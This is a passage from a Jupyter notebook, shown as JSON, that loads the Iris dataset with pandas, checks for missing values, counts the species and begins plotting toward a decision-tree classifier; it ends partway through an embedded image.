"from sklearn.model_selection import train_test_split\n", - "from sklearn.preprocessing import LabelEncoder\n", - "from sklearn.metrics import confusion_matrix, classification_report\n", - "from sklearn.tree import DecisionTreeClassifier\n", - "import seaborn as sns\n", - "from sklearn.metrics import accuracy_score" - ] - }, - { - "cell_type": "markdown", - "id": "06b5e569", - "metadata": {}, - "source": [ - "# Reading Data File" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "id": "8f987ef2", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
IdSepalLengthCmSepalWidthCmPetalLengthCmPetalWidthCmSpecies
015.13.51.40.2Iris-setosa
124.93.01.40.2Iris-setosa
234.73.21.30.2Iris-setosa
344.63.11.50.2Iris-setosa
455.03.61.40.2Iris-setosa
\n", - "
" - ], - "text/plain": [ - " Id SepalLengthCm SepalWidthCm PetalLengthCm PetalWidthCm Species\n", - "0 1 5.1 3.5 1.4 0.2 Iris-setosa\n", - "1 2 4.9 3.0 1.4 0.2 Iris-setosa\n", - "2 3 4.7 3.2 1.3 0.2 Iris-setosa\n", - "3 4 4.6 3.1 1.5 0.2 Iris-setosa\n", - "4 5 5.0 3.6 1.4 0.2 Iris-setosa" - ] - }, - "execution_count": 2, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df=pd.read_csv(\"C:\\\\Users\\\\ankit\\\\Downloads\\\\Iris.csv\")\n", - "df.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "id": "e038634a", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Id 0\n", - "SepalLengthCm 0\n", - "SepalWidthCm 0\n", - "PetalLengthCm 0\n", - "PetalWidthCm 0\n", - "Species 0\n", - "dtype: int64" - ] - }, - "execution_count": 3, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.isnull().sum()" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "id": "fa3bc103", - "metadata": {}, - "outputs": [], - "source": [ - "df.drop(columns=[\"Id\"],inplace=True)" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "id": "526385dd", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Iris-setosa 50\n", - "Iris-versicolor 50\n", - "Iris-virginica 50\n", - "Name: Species, dtype: int64" - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df[\"Species\"].value_counts()" - ] - }, - { - "cell_type": "markdown", - "id": "636627b8", - "metadata": {}, - "source": [ - "# Data Visualization for Selecting Algorithm" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "id": "6656ab9c", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 6, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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